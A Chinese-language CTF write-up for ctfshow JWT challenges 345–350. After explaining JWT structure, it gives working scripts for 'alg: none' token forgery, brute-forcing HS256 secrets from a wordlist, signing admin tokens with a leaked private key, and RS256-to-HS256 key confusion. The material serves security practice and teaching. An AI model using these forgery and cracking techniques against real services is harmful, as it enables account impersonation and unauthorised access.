ctfshow JWT总结
一、基础知识:
介绍:
JSON Web Token(JWT)是用来进行跨域身份验证的一种方案。
构成:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTY2NzgxMDA1MX0.bsJ9p7cPTKUu0KwUWuuPXrDPF7tMz6h1YVvc5ASyulZ-KhtXGPNaSxJZD4OJJFBRVfDrIu0ObrYWJ4BRgJABDuvRWfLYkx_mUnlDx-URWLHxiOB7fGcuBn5xfNE3XwGWtvyHtcneftvpqt0FPDSKu-lde_2OoiZJTz2st_DWHVQ
从上面可以看出由三部分构造,三部分分别用Base64URL编码以后用点连接。
第一部分header:
解码以后得到(jwt.io)
{
"alg": "RS256",
"typ": "JWT"
}
jwt的头部承载两部分信息:
- 声明类型,这里是jwt
- 声明加密的算法 通常直接使用 RS256(非对称加密算法) HS256(对称加密算法)
第二部分payload:
{
"user": "user",
"iat": 1667810051
}
jwt的载荷部分用来存储一些有效信息,这些有效信息一般来说分为三个部分
- 标准中注册的声明
-
- iss: jwt签发者
- sub: jwt所面向的用户
- aud: 接收jwt的一方
- exp: jwt的过期时间,这个过期时间必须要大于签发时间
- nbf: 定义在什么时间之前,该jwt都是不可用的.
- iat: jwt的签发时间
- jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。
- 公共的声明
-
- 公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可进行解码.
- 私有的声明
-
- 私有声明是提供者和消费者所共同定义的声明
第三部分:signature
jwt的第三部分是一个签证信息,这个签证信息由三部分组成:
- header (base64后的)
- payload (base64后的)
- secret
这个部分需要base64加密后的header和base64加密后的payload使用.
连接组成的字符串,然后通过header中声明的加密方式进行加盐secret
组合加密,然后就构成了jwt的第三部分。加密方式如下。
// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret');
最后将这三部分用.
连接成一个完整的字符串,构成了最终的jwt。
二、相关利用(题目)
jwt编码脚本如下:(对照着在网站jwt.io解码后的数据进行修改)
import jwt
header = {
"alg": "none",
"typ": "JWT"
}
content = {
"iss": "admin",
"iat": 1667822180,
"exp": 1667829380,
"nbf": 1667822180,
"sub": "admin",
"jti": "237410127e2551647730b97941cdcae5"
}
token = jwt.encode(
content,
"", # 密钥,此处置为空
algorithm="none", # 加密方式
headers=header
)
print(token)
345:(直接修改payload)(有点小问题没有解决清楚)
拿到题目cookie以后解密发现算法为none,那我们直接修改payload里面的sub为admin即可。
操作方式1:
利用bp解码---->修改数据---->编码---->提交即可。疑惑的是最后提交的内容没有我们的熟悉的‘点’了,但是可以出flag。
操作方式2:
利用脚本修改完数据运行后得到
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzgyMjE4MCwiZXhwIjoxNjY3ODI5MzgwLCJuYmYiOjE2Njc4MjIxODAsInN1YiI6ImFkbWluIiwianRpIjoiMjM3NDEwMTI3ZTI1NTE2NDc3MzBiOTc5NDFjZGNhZTUifQ.
我们直接提交无flag,这里奇怪的点是提交第一个点后面的内容也就是payload的内容会出flag,有师傅明白为什么可以解释一下谢谢。
346:(直接修改alg为none绕过)
介绍:
JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。
设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。
注意:这里不能利用我们上面的方法1了,我们要用脚本的方式。
347:(对称加密算法 HS256 密钥的爆破)
爆破脚本如下:
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzgyNDA3NiwiZXhwIjoxNjY3ODMxMjc2LCJuYmYiOjE2Njc4MjQwNzYsInN1YiI6InVzZXIiLCJqdGkiOiJjMDlkNDc4M2U0NzhkZWI5ZDAyOTI2ZGI5OThhNTJkYiJ9.qGhObQujOnXKBkb8IM2_uLroZZRgY6Voty_-vPQUqUM" # 题目中的 token
password_file = "/Users/meng/password.txt" # 密码文件
with open(password_file,'rb') as file:
for line in file:
line = line.strip() # 去除每行后面的换行
try:
jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
print('key: ', line.decode('ascii'))
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError): # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
print("key: ", line.decode('ascii'))
break
except jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确
print("Failed: ", line.decode('ascii'))
continue
else:
print("Not Found.")
得到key为123456。
或者利用工具jwt-cracker ,该题用这个工具有点慢还是用我的脚本吧,然后用自己的弱密码字典。
得到key了,那我们可以利用jwt编码脚本来修改,也可以用网站jwt.io进行修改如下:
348(工具jwt-cracker爆破密钥)
得到密钥以后下面的步骤就和之前的一样了
349(非对称加密算法RS256泄漏私钥)
先访问http://xxxx/private.key将私钥下载下来,然后稍微修改一下脚本即可。
import jwt
private = open('/Users/meng/Documents/Code/Python_code/ctf_JWT/private.key', 'r').read()
header = {
"alg": "RS256",
"typ": "JWT"
}
payload={
"user":"admin",
"iat": 1667825552
}
token = jwt.encode(
payload=payload,
key=private, # 密钥
algorithm="RS256", # 加密方式
headers=header
)
print(token)
然后根据源代码的提示,修改cookie以后,Post方式访问url即可。
350(泄漏公钥---->非对称密码算法改为对称密码算法)
也就是说直接利用公钥进行加密和解密,不再需要私钥。
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
补充:不要利用py脚本,利用上述代码的nodejs环境。
参考:
https://blog.csdn.net/miuzzx/article/details/111936737
https://blog.csdn.net/solitudi/article/details/112525267